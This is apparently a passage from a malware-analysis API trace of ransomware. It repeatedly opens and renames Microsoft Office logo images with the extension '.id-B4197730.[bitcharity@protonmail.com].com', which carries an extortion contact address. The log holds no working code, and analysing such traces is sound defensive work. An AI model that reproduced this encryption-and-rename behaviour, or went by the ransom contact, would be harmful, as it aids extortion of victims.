liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-white_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.655] CloseHandle (hObject=0x1270) returned 1 [0266.656] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.656] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-white_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.656] CloseHandle (hObject=0x1270) returned 1 [0266.656] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.657] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.657] CloseHandle (hObject=0x1270) returned 1 [0266.657] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.657] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.658] CloseHandle (hObject=0x1270) returned 1 [0266.658] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.658] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.659] CloseHandle (hObject=0x1270) returned 1 [0266.659] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.659] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.660] CloseHandle (hObject=0x1270) returned 1 [0266.661] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.661] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.661] CloseHandle (hObject=0x1270) returned 1 [0266.662] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.662] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.662] CloseHandle (hObject=0x1270) returned 1 [0266.663] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.663] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.664] CloseHandle (hObject=0x1270) returned 1 [0266.665] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.665] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.665] CloseHandle (hObject=0x1270) returned 1 [0266.666] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.666] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.666] CloseHandle (hObject=0x1270) returned 1 [0266.666] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.667] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.667] CloseHandle (hObject=0x1270) returned 1 [0266.667] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.667] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.668] CloseHandle (hObject=0x1270) returned 1 [0266.668] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.668] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.669] CloseHandle (hObject=0x1270) returned 1 [0266.669] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.669] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.669] CloseHandle (hObject=0x1270) returned 1 [0266.670] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.670] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.670] CloseHandle (hObject=0x1270) returned 1 [0266.671] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.671] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.671] CloseHandle (hObject=0x1270) returned 1 [0266.672] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.672] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.672] CloseHandle (hObject=0x1270) returned 1 [0266.673] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.673] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-black_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.673] CloseHandle (hObject=0x1270) returned 1 [0266.674] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.674] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-black_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.674] CloseHandle (hObject=0x1270) returned 1 [0266.675] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.675] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-black_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.675] CloseHandle (hObject=0x1270) returned 1 [0266.675] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.676] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-black_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.676] CloseHandle (hObject=0x1270) returned 1 [0266.989] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.989] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-white_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.989] CloseHandle (hObject=0x1068) returned 1 [0266.990] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.990] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogo.contrast-white_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\visiologo.contrast-white_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.990] CloseHandle (hObject=0x1068) returned 1 [0266.990] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.991] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogo.contrast-white_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\visiologo.contrast-white_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.991] CloseHandle (hObject=0x1068) returned 1 [0266.991] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.991] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogo.scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\visiologo.scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.992] CloseHandle (hObject=0x1068) returned 1 [0266.992] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.992] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogo.scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\visiologo.scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.993] CloseHandle (hObject=0x1068) returned 1 [0266.993] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.993] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogo.scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\visiologo.scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.993] CloseHandle (hObject=0x1068) returned 1 [0266.994] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.994] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogo.scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\visiologo.scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.995] CloseHandle (hObject=0x1068) returned 1 [0266.995] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.995] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogoSmall.contrast-black_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\visiologosmall.contrast-black_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.996] CloseHandle (hObject=0x1068) returned 1 [0266.996] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.996] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogoSmall.contrast-black_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\visiologosmall.contrast-black_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.997] CloseHandle (hObject=0x1068) returned 1 [0266.997] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.998] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogoSmall.contrast-black_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft 